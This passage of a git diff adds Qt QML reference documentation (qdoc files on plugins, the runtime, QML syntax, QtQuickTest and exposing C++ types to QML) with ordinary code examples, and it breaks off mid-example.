documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qml-plugins.html +\title QML Plugins +\target qml-plugins +\brief importing Qt C++ functions as plugins + + + The \l{The QML Engine}{QML engine} can run Qt C++ applications + by \l{register-c++-type}{registering} types into the runtime and by loading + C++ code as plugins. Plugins are imported and labeled as modules and + its content are available as components. + + QQmlExtensionPlugin is a plugin interface that makes it possible to + create QML extensions that can be loaded dynamically into QML applications. + These extensions allow custom QML types to be made available to the + QML engine. + + To write a QML extension plugin: + \list 1 + \li Subclass QQmlExtensionPlugin + \li Implement QQmlExtensionPlugin's + \l{QQmlExtensionPlugin::}{registerTypes()} method + \li Register types with qmlRegisterType() + \li Export the class using the Q_EXPORT_PLUGIN2() macro + \li Write a project file for the plugin + \li Create a \l{Writing a qmldir file}{qmldir file} to describe the plugin + \endlist + + QML extension plugins are for either application-specific or library-like + plugins. Library plugins should limit themselves to registering types, as + any manipulation of the engine's root context may cause conflicts or other + issues in the library user's code. + +\section1 Plugin Example + + Suppose there is a new \c TimeModel C++ class that should be made available + as a new QML element. It provides the current time through \c hour and \c minute + properties. + + \snippet examples/declarative/cppextensions/plugins/plugin.cpp 0 + \dots + + A plugin class, \c QExampleQMLPlugin, is a subclass of + \l QQmlExtensionPlugin and it implements the + \l{QQmlExtensionPlugin::}{registerTypes()} method. + + In the registerTypes() method, the plugin class can + \l{register-c++-type}{register} the \c TimeModel class to the declarative + runtime with the qmlRegisterType() function. The Q_EXPORT_PLUGIN2() macro has + two parameters, the generated plugin name and the class name. + + \snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin + \codeline + \snippet examples/declarative/cppextensions/plugins/plugin.cpp export + + The \c TimeModel class receives a \c{1.0} version of this plugin library, as + a QML type called \c Time. The Q_ASSERT() macro can ensure the module is + imported correctly by any QML components that use this plugin. The + \l{Creating QML Types} article has more information about registering C++ + types into the runtime. + + For this example, the TimeExample source directory is in + \c{com/nokia/TimeExample}. The plugin's module import statement will follow + this structure. + + The project file, in a \c .pro file, defines the project as a plugin library + and specifies it should be built into the \c com/nokia/TimeExample + directory: + + \code + TEMPLATE = lib + CONFIG += qt plugin + QT += declarative + + DESTDIR = com/nokia/TimeExample + TARGET = qmlqtimeexampleplugin + ... + \endcode + + Finally, a \l{Writing a qmldir file}{qmldir file} is required in the \c + com/nokia/TimeExample directory to specify the plugin. This directory + includes a \c Clock.qml file that should be bundled with the plugin, so it + needs to be specified in the \c qmldir file: + + \quotefile examples/declarative/cppextensions/plugins/com/nokia/TimeExample/qmldir + + Once the project is built and installed, the new \c Time component is + accessible by any QML component that imports the \c com.nokia.TimeExample + module + + \snippet examples/declarative/cppextensions/plugins/plugins.qml 0 + + The full source code is available in the \l {declarative/cppextensions/plugins}{plugins example}. + + +\section1 Reference + + \list + \li \l {Tutorial: Writing QML extensions with C++} - contains a chapter + on creating QML plugins. + \li \l{Creating QML Types} - information about registering C++ types into + the runtime. + \li \l{How to Create Qt Plugins} - information about Qt plugins + \endlist + + +*/ diff --git a/src/qml/doc/src/qmlruntime.qdoc b/src/qml/doc/src/qmlruntime.qdoc new file mode 100644 index 0000000000..831323474f --- /dev/null +++ b/src/qml/doc/src/qmlruntime.qdoc @@ -0,0 +1,143 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qmlruntime.html +\title Qt Declarative UI Runtime +\brief launching QML based applications through Qt + +QML documents are loaded and executed by the QML runtime. This includes the +Declarative UI engine along with the built-in QML elements and plugin modules, +and it also provides access to third-party QML elements and modules. + +Applications that use QML need to invoke the QML runtime in order to +execute QML documents. This can be done by creating a QQuickView +or a QQmlEngine, as described below. In addition, the Declarative UI +package includes the qmlscene tool, which loads \c .qml files. This tool is +useful for developing and testing QML code without the need to write +a C++ application to load the QML runtime. + + + +\section1 Deploying QML-based applications + +To deploy an application that uses QML, the QML runtime must be invoked by +the application. This is done by writing a Qt C++ application that loads the +QQmlEngine by either: + +\list +\li Loading the QML file through a QQuickView instance, or +\li Creating a QQmlEngine instance and loading QML files with QQmlComponent +\endlist + + +\section2 Deploying with QQuickView + +QQuickView is a QWidget-based class that is able to load QML files. +For example, if there is a QML file, \c application.qml, like this: + +\qml + import QtQuick 2.0 + + Rectangle { width: 100; height: 100; color: "red" } +\endqml + +It can be loaded in a Qt application's \c main.cpp file like this: + +\code + #include <QApplication> + #include <QQuickView> + + int main(int argc, char *argv[]) + { + QApplication app(argc, argv); + + QQuickView view; + view.setSource(QUrl::fromLocalFile("application.qml")); + view.show(); + + return app.exec(); + } +\endcode + +This creates a QWidget-based view that displays the contents of +\c application.qml. + +The application's \c .pro \l{qmake Project Files}{project file} must specify +the \c declarative module for the \c QT variable. For example: + +\code + TEMPLATE += app + QT += gui declarative + SOURCES += main.cpp +\endcode + + +\section2 Creating a QQmlEngine directly + +If \c application.qml does not have any graphical components, or if it is +preferred to avoid QQuickView for other reasons, the QQmlEngine +can be constructed directly instead. In this case, \c application.qml is +loaded as a QQmlComponent instance rather than placed into a view: + +\code + #include <QApplication> + #include <QQmlEngine> + #include <QQmlContext> + #include <QQmlComponent> + + int main(int argc, char *argv[]) + { + QApplication app(argc, argv); + + QQmlEngine engine; + QQmlContext *objectContext = new QQmlContext(engine.rootContext()); + + QQmlComponent component(&engine, "application.qml"); + QObject *object = component.create(objectContext); + + // ... delete object and objectContext when necessary + + return app.exec(); + } +\endcode + +See \l {Using QML Bindings in C++ Applications} for more information about using +QQmlEngine, QQmlContext and QQmlComponent, as well +as details on including QML files through \l{The Qt Resource System}{Qt's Resource system}. + + + +\section1 Developing and Prototyping with QML Viewer + +The Declarative UI package includes a QML runtime tool, qmlscene, which loads +and displays QML documents. This is useful during the application development +phase for prototyping QML-based applications without writing your own C++ +applications to invoke the QML runtime. + +*/ + diff --git a/src/qml/doc/src/qmlsyntax.qdoc b/src/qml/doc/src/qmlsyntax.qdoc new file mode 100644 index 0000000000..1814b16078 --- /dev/null +++ b/src/qml/doc/src/qmlsyntax.qdoc @@ -0,0 +1,155 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-syntax.html +\title QML Syntax +\ingroup QML Reference +\brief listing of valid QML syntax + +\tableofcontents + +QML is a declarative language designed to describe the user interface of a +program: both what it looks like, and how it behaves. In QML, a user +interface is specified as a tree of objects with properties. + +JavaScript is used as a scripting language in QML, so you may want +to learn a bit more about it (\l{Javascript Guide}) before diving +deeper into QML. + +\section1 Basic QML Syntax + +QML looks like this: + +\code +import QtQuick 2.0 + +Rectangle { + width: 200 + height: 200 + color: "blue" + + Image { + source: "pics/logo.png" + anchors.centerIn: parent + } +} +\endcode + +Objects are specified by their type, followed by a pair of braces. Object +types always begin with a capital letter. In the above example, there are +two objects, a \l Rectangle, and an \l Image. Between the braces, we can specify +information about the object, such as its properties. + +Properties are specified as \c {propertyname: value}. In the above example, we +can see the Image has a property named \c source, which has been assigned the +value \c "pics/logo.png". The property and its value are separated by a colon. + +Properties can be specified one-per-line: + +\code +Rectangle { + width: 100 + height: 100 +} +\endcode + +or you can put multiple properties on a single line: + +\code +Rectangle { width: 100; height: 100 } +\endcode + +When multiple property/value pairs are specified on a single line, they +must be separated by a semicolon. + +The \c import statement imports the \c Qt \l{QML Modules}{module}, which contains all of the +standard \l {QML Elements}. Without this import statement, the \l Rectangle +and \l Image elements would not be available. + +\section1 Expressions + +In addition to assigning values to properties, you can also assign +expressions written in JavaScript. + +\code +Rotation { + angle: 360 * 3 +} +\endcode + +These expressions can include references to other objects and properties, in which case +a \e binding is established: when the value of the expression changes, the property the +expression has been assigned to is automatically updated to that value. + +\code +Item { + Text { + id: text1 + text: "Hello World" + } + Text { + id: text2 + text: text1.text + } +} +\endcode + +In the example above, the \c text2 object will display the same text as \c text1. If \c text1 is changed, +\c text2 is automatically changed to the same value. + +Note that to refer to other objects, we use their \e id values. (See below for more +information on the \e id property.) + +\section1 QML Comments + +Commenting in QML is similar to JavaScript. +\list +\li Single line comments start with // and finish at the end of the line. +\li Multiline comments start with /* and finish with *\/ +\endlist + +\snippet doc/snippets/qml/comments.qml 0 + +Comments are ignored by the engine. They are useful for explaining what you +are doing; for referring back to at a later date, or for others reading +your QML files. + +Comments can also be used to prevent the execution of code, which is +sometimes useful for tracking down problems. + +\code +Text { + text: "Hello world!" + //opacity: 0.5 +} +\endcode + +In the above example, the Text object will have normal opacity, since the +line opacity: 0.5 has been turned into a comment. + +*/ diff --git a/src/qml/doc/src/qmltest.qdoc b/src/qml/doc/src/qmltest.qdoc new file mode 100644 index 0000000000..a8524999e7 --- /dev/null +++ b/src/qml/doc/src/qmltest.qdoc @@ -0,0 +1,108 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \page qmltest.html +\inqmlmodule QtQuick 2 + \title QtQuickTest Reference Documentation + \keyword QtQuickTest Reference Documentation + \brief unit testing framework for QML + + \section1 Introduction + + QtQuickTest is a unit test framework for Qt Quick (QML) applications. + Test cases are written as JavaScript functions within a TestCase + element: + + \code + import QtQuick 2.0 + import QtTest 1.0 + + TestCase { + name: "MathTests" + + function test_math() { + compare(2 + 2, 4, "2 + 2 = 4") + } + + function test_fail() { + compare(2 + 2, 5, "2 + 2 = 5") + } + } + \endcode + + Functions whose names start with \c{test_} are treated as test cases + to be executed. See the documentation for the \l TestCase and + \l SignalSpy elements for more information on writing test cases. + + \section1 Running tests + + Test cases are launched by a C++ harness that consists of + the following code: + + \code + #include <QtQuickTest/quicktest.h> + QUICK_TEST_MAIN(example) + \endcode + + Where "example" is an identifier to use to uniquely identify + this set of tests. You should add \c{CONFIG += qmltestcase}. + for example: + + \code + TEMPLATE = app + TARGET = tst_example + CONFIG += warn_on qmltestcase + SOURCES += tst_example.cpp + \endcode + + The test harness scans the specified source directory recursively + for "tst_*.qml" files. If \c{QUICK_TEST_SOURCE_DIR} is not defined, + then the current directory will be scanned when the harness is run. + Other *.qml files may appear for auxillary QML components that are + used by the test. + + The \c{-input} command-line option can be set at runtime to run + test cases from a different directory. This may be needed to run + tests on a target device where the compiled-in directory name refers + to a host. For example: + + \code + tst_example -input /mnt/SDCard/qmltests + \endcode + + See \c{tests/qmlauto} in the source tree for an example of creating a + test harness that uses the \c{QUICK_TEST_SOURCE_DIR} macro. + + If your test case needs QML imports, then you can add them as + \c{-import} options to the the test program command-line by adding + the following line to your .pro file: + + \code + IMPORTPATH += $$PWD/../imports/my_module1 $$PWD/../imports/my_module2 + \endcode +*/ diff --git a/src/qml/doc/src/qmltypes.qdoc b/src/qml/doc/src/qmltypes.qdoc new file mode 100644 index 0000000000..b75c191616 --- /dev/null +++ b/src/qml/doc/src/qmltypes.qdoc @@ -0,0 +1,787 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qml-c++types.html +\title Creating QML Types +\brief exposing Qt C++ types into the QML engine + +The \l{The QML Engine}{QML engine} can instantiate any Qt C++ construct +such as \l{The Property System}{properties}, functions, and data models into +the QML context allowing the constructs to be accessible from within QML. + +\target register-c++-type +\section1 Register a Type + + In an application or a \l{QML Plugins}{plugin}, the \c qmlRegisterType + template will register a class to the QML engine. + +\code +template<typename T> +int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) +\endcode + + \l qmlRegisterType() registers the C++ type \a T with the QML system, and + makes it available to the QML context under the name \c qmlName in library + \c uri version \c versionMajor.versionMinor. The \c qmlName can be the same + as the C++ type name. + + Suppose that a \c Person class defined in a C++ is to be exposed into the + QML context. The class must be a subclass of \l{QObject} and have a default + constructor. The \l{The Property System}{properties} created with the + Q_PROPERTY macro are visible in the QML context as well. + \snippet declarative/cppextensions/referenceexamples/adding/person.h 0 + + The application registers the class to the runtime with the + \l{qmlRegisterType()}. + + \snippet declarative/cppextensions/referenceexamples/adding/main.cpp 0 + + The Person type is then imported with the \c "People 1.0" module and its + properties are accessible in a QML file. +\snippet declarative/cppextensions/referenceexamples/adding/example.qml 0 + + The \l {Extending QML - Adding Types Example}{Adding Types} example + demonstrates as usage of the \l qmlRegisterType(). + + Alternatively, these functions provide a way for other types of C++ types + to be visible in the QML context. + \list + \li \l qmlRegisterModuleApi() is suited for registering either a QJSValue + or QObject module API (shared instance) into a namespace + \li \l qmlRegisterUncreatableType() is suited for attached + properties and enum types. + \li \l qmlRegisterTypeNotAvailable() is for + reserving a namespace and suited for generating useful errors. + \li \l qmlRegisterInterface() - for registering base or abstract classes for + \l{qml-c++-coercion}{coercion and inheritance}. This is useful for general + Qt objects or \l{Qt Objects and Interfaces}{pointers} to objects. + \li \l qmlRegisterExtendedType() - for \l{qml-c++-extension}{extended types} + \endlist + + \section2 Qt Objects and Interfaces + QML can bind to complex objects such as pointers to objects or lists. As QML + is typesafe, the \l{The QML Engine}{QML engine} ensures that only + valid types are assigned to these properties. + + The QML engine treats pointers to objects or Qt interfaces the same + way as regular properties. Thus, the lists or pointers are created as + properties using the Q_PROPERTY() macro. + + \snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 1 + + The \c host is an \l{qml-expose-properties}{exposed property} that can bind + to objects or lists of objects. The property type, in this case \c Person, + must be \l{register-c++-type}{registered} into the runtime. + + QML also supports assigning Qt interfaces. To assign to a property whose + type is a Qt interface pointer, the interface must also be registered with + QML. As they cannot be instantiated directly, registering a Qt interface is + different from registering a new QML type. The following function is used + instead: + + \code + template<typename T> + int qmlRegisterInterface(const char *typeName) + \endcode + + This function registers the C++ interface \a T with the QML system as \a + typeName. + + Following registration, QML can \l{qml-c++-coercion}{coerce} objects that + implement this interface for assignment to appropriately typed properties. + +\target qml-expose-properties +\section1 Exposing Qt C++ Properties + + The \l{The QML Engine}{QML engine} utilizes Qt's + \l{The Property System}{Property System} and in effect, QML + \l{Property Binding in QML}{property bindings} also use Qt properties. + + Essentially, a Qt C++ property has a \e write function, \e read function, + and has a signal function. QML properties are inheritely public, both + readable and writable, albeit type-safe. QML properties may also have + signals which are emitted when the property value or binding changes. + + The QML property equivalent of a Qt C++ property is created as a property + with the \l Q_PROPERTY() macro. There needs to be C++ functions assigned as + the property's read, write, and signal handler function. + + The \l {register-c++-type}{Register a Type} section mentions that the + \c Person class has properties that are exposed to the QML context. The QML + properties are created with the \c Q_PROPERTY macro. The macro associates + the properties to the read, write, and singal functions in its argument. + +\code +Q_PROPERTY(int size READ size WRITE setSize NOTIFY shoeChanged) +\endcode + + A \c Shoe class might have an integer property called \c size. We set the \c + size() function as the \c READ function and the \c setSize() function to be + the \c WRITE function. In a QML application, when a property is read, the \c + size() is called and when the property's binding changes, the \c setSize() + is called. The READ function, by definition, must return the same type as + the property. + + We may also connect a \l{signals and slots}{signal} to a property. The \c + size property may have a \c shoeChanged signal indicated after the \c NOTIFY + parameter of the macro. The \c shoeChanged becomes a \l{QML Signal and + Handler Event System}{QML signal} and the runtime will create QML handler + called \c onShoeChanged. Whenever the size property's binding changes, the + \c shoeChanged signal is emitted and the \c onShoeChanged handler is + invoked. In the handler, commands such as \l{JavaScript Expressions in + QML}{JavaScript expressions} can perform clean-up operations or call other + functions. + + \b{Note:} The QML signal handler will always be named + on<Property-name>Changed, regardless of the name used for the NOTIFY + signal in C++. We recommend using <property-name>Changed() for the + NOTIFY signal in C++. + + We may also make the property a \c read-only property by placing + \c CONSTANT in the parameter. Changing the binding will generate an error. +\code +//A read-only property +Q_PROPERTY(int size READ size CONSTANT) +\endcode + +\section2 Default Property + + When imported, QML components will bind their children to their designated + \l{default-property}{default property}. This is helpful, for example, + to redirect any declared child components to a property of another + component. + + The runtime can set a property to be the default property by tagging the + property with \c DefaultProperty in The Q_CLASSINFO() macro. + + \code + Q_CLASSINFO("DefaultProperty", "pipe") + \endcode + + The property tagged as default property, \c pipe, can only be an object + property, or a list property. + + A default property is optional. A derived class inherits its base class's + default property, but may override it in its own declaration. The \c pipe + property can refer to a property declared in the class itself, or a property + inherited from a base class. + + The \l{Extending QML - Default Property Example}{Default Property} example + uses \l{default-property}{default properties} to assign the children of + a component to a specific property. + + \section2 Grouped Properties + + A property group may be functionally defined as a set of related properties. + For example, the \l{Layouts with Anchors}{anchors} are a group of + related properties. In practice, property groups resemble a parent object + where the individual properties are accessed as children. + + A grouped property's member properties are accessed using the + <group>.<property> notation. For example, shoe.color is the way to access + the \c color property in the \c shoe property group . + + \snippet examples/declarative/cppextensions/referenceexamples/grouped/example.qml ungrouped + + Alternatively, the group can be accessed as a set. + \snippet examples/declarative/cppextensions/referenceexamples/grouped/example.qml grouped + + A grouped property block is implemented as a read-only object property. The + \c shoe property shown is declared like this: + + \snippet examples/declarative/cppextensions/referenceexamples/grouped/person.h 1 + + The \c ShoeDescription type declares the properties available to the grouped + property block - in this case the \c size, \c color, \c brand and \c price properties. + + Grouped property blocks may declared and accessed be recusively. + + \l {Extending QML - Grouped Properties Example} shows the complete code used to + implement the \c shoe property grouping. + + \section2 Attached Properties + + Attached properties annotate or add properties to another type or component. + For example, the \l Keys \e{attaching type} contains \e{attached properties} + that other elements may use to respond to key input. Conceptually, attached + properties are a \e type exporting a set of additional properties that can + be set on any other object instance. + + The attaching type is a QObject derived type. The properties on the + attaching type are those that become available for use as attached + properties. + + \snippet examples/declarative/cppextensions/referenceexamples/attached/example.qml 1 + + The \c BirthdayParty is called the attaching type and the + \c Boy instance the attachee object instance. The property \c rsvp is the + attached property. + + Any Qt C++ type can become an attaching type by declaring the \c + qmlAttachedProperties() a public member function and declaring that the + class has QML_HAS_ATTACHED_PROPERTIES. + + \code + static AttachedPropertiesType *qmlAttachedProperties(QObject *object); + \endcode + + This static pointer returns an attachment object, of type \a + AttachedPropertiesType, for the attachee \a object instance. It is + customary, though not strictly required, for the attachment object to be + parented to \a object to prevent memory leaks. + The \l {Extending QML - Attached Properties Example}{Birthday} + class has \c BirthdayPartyAttached attached properties. + + \snippet examples/declarative/cppextensions/referenceexamples/attached/birthdayparty.h static attached + + The QML_DECLARE_TYPEINFO() macro can notify the runtime that the type has + attached properties with the QML_HAS_ATTACHED_PROPERTIES argument. + + \snippet examples/declarative/cppextensions/referenceexamples/attached/birthdayparty.h declare attached + + The qmlAttachedProperties method will be called at most once for each + attachee object instance. The QML engine will cache the returned instance + pointer for subsequent attached property accesses. Consequently the + attachment object may not be deleted until \a object is destroyed. + + A common usage scenario is for a type to enhance the properties + available to its children in order to gather instance specific data. + + \snippet examples/declarative/cppextensions/referenceexamples/attached/example.qml begin + \snippet examples/declarative/cppextensions/referenceexamples/attached/example.qml rsvp + \snippet examples/declarative/cppextensions/referenceexamples/attached/example.qml end + + However, as a QML type cannot limit the instances to which the attachment + object must attach, the following is also allowed, even though adding a + birthday party rsvp in this context will have no effect. Instead, \c + BirthdayParty could be a separate component with a property \c rsvp. + \code + GraduationParty { + Boy { BirthdayParty.rsvp: "2009-06-01" } + } + \endcode + + From C++, including the attaching type implementation, the attachment object + for an instance can be accessed using the following method: + + \code + template<typename T> + QObject *qmlAttachedPropertiesObject<T>(QObject *attachee, bool create = true); + \endcode + + This returns the attachment object attached to \a attachee by the attaching + type \a T. If type \a T is not a valid attaching type, this method always + returns 0. If \a create is true, a valid attachment object will always be + returned, creating it if it does not already exist. If \a create is false, + the attachment object will only be returned if it has previously been + created. + + The \c rsvp properties of each guest in the \c Birthday party is accessible + through the \c qmlAttachedPropertiesObject function. + + \snippet examples/declarative/cppextensions/referenceexamples/attached/main.cpp query rsvp + + The + \l {Extending QML - Attached Properties Example}{Attached Properties Example} + demonstrates the creation of attached properties with a birthday party + scenario. + +\section2 Object and List Properties + + QML can set properties of types that are more complex than basic intrinsics like + integers and strings. Properties can also be object pointers, Qt interface + pointers, lists of object pointers, and lists of Qt interface pointers. As QML + is typesafe it ensures that only valid types are assigned to these properties, + just like it does for primitive types. + + Properties that are pointers to objects or Qt interfaces are declared with the + Q_PROPERTY() macro, just like other properties. The \c host property + declaration looks like this: + + \snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 1 + + As long as the property type, in this case \c Person, is registered with QML the + property can be assigned. + + QML also supports assigning Qt interfaces. To assign to a property whose type + is a Qt interface pointer, the interface must also be registered with QML. As + they cannot be instantiated directly, registering a Qt interface is different + from registering a new QML type. The following function is used instead: + + \code + template<typename T> + int qmlRegisterInterface(const char *typeName) + \endcode + + \c qmlRegisterInterface registers the C++ interface \a T with the QML system + as \a typeName. + + Following registration, QML can coerce objects that implement this interface + for assignment to appropriately typed properties. + + + \snippet examples/declarative/cppextensions/referenceexamples/properties/example.qml 0 + + The \c guests property is a \e{list property} of \c Person objects. A list + of \c Person objects are bound to the \c BirthdayParty's \c host property, + and assigns three \c Person objects to the guests property. + + Properties that are lists of objects or Qt interfaces are also declared with + the Q_PROPERTY() macro. However, list properties must have the type + \l{QQmlListProperty}{QQmlListProperty<T>}. + + \snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 2 + + As with the other property types, the type of list content, \a T, must be + \l{register-c++-type}{registered} into the runtime. + + \snippet examples/declarative/cppextensions/referenceexamples/properties/main.cpp register list + + \l {Extending QML - Object and List Property Types Example} shows the + complete code used to create the \c BirthdayParty type. For more + information, visit \l{QQmlListProperty}{QQmlListProperty<T>} + for creating list properties. + +\section2 Sequence Types + + Certain C++ sequence types are supported transparently in QML as JavaScript + Array types. + In particular, QML currently supports: + \list + \li \c {QList<int>} + \li \c {QList<qreal>} + \li \c {QList<bool>} + \li \c {QList<QString>} and \c{QStringList} + \li \c {QList<QUrl>} + \endlist + + These sequence types are implemented directly in terms of the underlying C++ + sequence. There are two ways in which such sequences can be exposed to QML: + as a Q_PROPERTY of the given sequence type; or as the return type of a + Q_INVOKABLE method. There are some differences in the way these are + implemented, which are important to note. + + If the sequence is exposed as a Q_PROPERTY, accessing any value in the + sequence by index will cause the sequence data to be read from the QObject's + property, then a read to occur. Similarly, modifying any value in the + sequence will cause the sequence data to be read, and then the modification + will be performed and the modified sequence will be written back to the + QObject's property. + + If the sequence is returned from a Q_INVOKABLE function, access and mutation + is much cheaper, as no QObject property read or write occurs; instead, the + C++ sequence data is accessed and modified directly. + + Other sequence types are not supported transparently, and instead an + instance of any other sequence type will be passed between QML and C++ as an + opaque QVariantList. + + \b {Important Note:} There are some minor differences between the + semantics of such sequence Array types and default JavaScript Array types + which result from the use of a C++ storage type in the implementation. In + particular, deleting an element from an Array will result in a + default-constructed value replacing that element, rather than an Undefined + value. Similarly, setting the length property of the Array to a value larger + than its current value will result in the Array being padded out to the + specified length with default-constructed elements rather than Undefined + elements. Finally, the Qt container classes support signed (rather than + unsigned) integer indexes; thus, attempting to access any index greater + than INT_MAX will fail. + + The default-constructed values for each sequence type are as follows: + \table + \row \li QList<int> \li integer value 0 + \row \li QList<qreal> \li real value 0.0 + \row \li QList<bool> \li boolean value \c {false} + \row \li QList<QString> and QStringList \li empty QString + \row \li QList<QUrl> \li empty QUrl + \endtable + + If you wish to remove elements from a sequence rather than simply replace + them with default constructed values, do not use the indexed delete operator + ("delete sequence[i]") but instead use the \c {splice} function + ("sequence.splice(startIndex, deleteCount)"). + + +\section2 Property Signals + + All properties on custom types automatically support property binding. + However, for binding to work correctly, QML must be able to reliably + determine when a property has changed so that it knows to reevaluate any + bindings that depend on the property's value. QML relies on the presence of + a \l {Qt's Property System}{NOTIFY signal} for this determination. + + Here is the \c host property declaration: + + \snippet examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.h 0 + + The NOTIFY attribute is followed by a signal name. It is the responsibility + of the class implementer to ensure that whenever the property's value + changes, the NOTIFY signal is emitted. The signature of the NOTIFY signal is + not important to QML. + + To prevent loops or excessive evaluation, developers should ensure that the + signal is only emitted whenever the property's value is actually changed. If + a property, or group of properties, is infrequently used it is permitted to + use the same NOTIFY signal for several properties. This should be done with + care to ensure that performance doesn't suffer. + + To keep QML reliable, if a property does not have a NOTIFY signal, it cannot + be used in a binding expression. However, the property can still be assigned + a binding as QML does not need to monitor the property for change in that + scenario. + + Consider a custom type, \c TestElement, that has two properties, \c a and + \c b. Property \c a does \e not have a NOTIFY signal, and property \c b does + have a NOTIFY signal. + + \code + TestElement { + // This is OK + a: b + } + TestElement { + // Will NOT work + b: a + } + \endcode + + The presence of a NOTIFY signal does incur a small overhead. There are cases + where a property's value is set at object construction time, and does not + subsequently change. The most common case of this is when a type uses \l + {Grouped Properties}, and the grouped property object is allocated once, and + only freed when the object is deleted. In these cases, the CONSTANT + attribute may be added to the property declaration instead of a NOTIFY + signal. + + \snippet examples/declarative/cppextensions/referenceexamples/binding/person.h 0 + + Extreme care must be taken here or applications using your type may misbehave. + The CONSTANT attribute should only be used for properties whose value is set, + and finalized, only in the class constructor. All other properties that want + to be used in bindings should have a NOTIFY signal instead. + + \l {Extending QML - Binding Example} shows the BirthdayParty example updated to + include NOTIFY signals for use in binding. + +\section1 Signals Support + + A \l{signals and slots}{signal} in Qt C++ is readily available as a + \l{QML Signal and Handler Event System}{QML signal}. A signal will have + a corresponding signal \e{handler}, created automatically. The handler + name will have \c on prepended at the beginning of the name. The first + character of the signal is uppercased for the signal handler. The + signal parameter is also availabe to the QML signal. + + \snippet examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.h 0 + The QML engine will create a handler for the \c partyStarted signal + called \c onPartyStarted. + \snippet examples/declarative/cppextensions/referenceexamples/signal/example.qml 0 + + Classes may have multiple signals with the same name, but only the final + signal is accessible as a QML signal. Note that signals with the same name + but different parameters cannot be distinguished from one another. + + Signal parameters are exposed and can be any one of the QML + \l{QML Basic Types}{basic types} as well registered object types. Accessing + unregistered types will not generate an error, but the parameter value will + not be accessible from the handler. + + To use signals from items not created in QML, access their signals with the + \l {Connections} element. + + Additionally, if a property is added to a C++ class, all QML elements + based on that C++ class will have a \e{value-changed} signal handler + for that property. The name of the signal handler is + \e{on<Property-name>Changed}, with the first letter of the property + name being upper case. + + The \l {Extending QML - Signal Support Example}{Signal Support Example} + shows an example application exposing signals to a QML component. + +\section1 Exposing Methods + + The Q_INVOKABLE macro exposes any Qt C++ method as a QML method. + + \snippet examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.h 0 + + In a QML file, we can invoke the method as we would a + \l{JavaScript Expressions in QML}{JavaScript expression}. + \snippet examples/declarative/cppextensions/referenceexamples/methods/example.qml 0 + + \l {Extending QML - Methods Example}{Methods example} uses the Q_INVOKABLE + method to expose methods and demonstrates some usages of the method in + an application. + + An alternative to the Q_INVOKABLE macro is to declare the C++ method as a + \l{signals and slot}{slot}. + + \code + slots: + void invite(const QString &name); + \endcode + +\section1 Type Revisions and Versions + + Type revisions and versions allow new properties or methods to exist in the + new version while remaining compatible with previous versions. + + Consider these two QML files: + \code + // main.qml + import QtQuick 1.0 + Item { + id: root + MyComponent {} + } + \endcode + + \code + // MyComponent.qml + import MyModule 1.0 + CppItem { + value: root.x + } + \endcode + where \c CppItem maps to the C++ class \c QCppItem. + + If the author of QCppItem adds a \c root property to QCppItem in a new + version of the module, \c root.x now resolves to a different value because + \c root is also the \c id of the top level component. The author could + specify that the new \c root property is available from a specific minor + version. This permits new properties and features to be added to existing + elements without breaking existing programs. + + The REVISION tag is used to mark the \c root property as added in revision 1 + of the class. Methods such as Q_INVOKABLE's, signals and slots can also be + tagged for a revision using the \c Q_REVISION(x) macro: + + \code + class CppElement : public BaseObject + { + Q_OBJECT + Q_PROPERTY(int root READ root WRITE setRoot NOTIFY 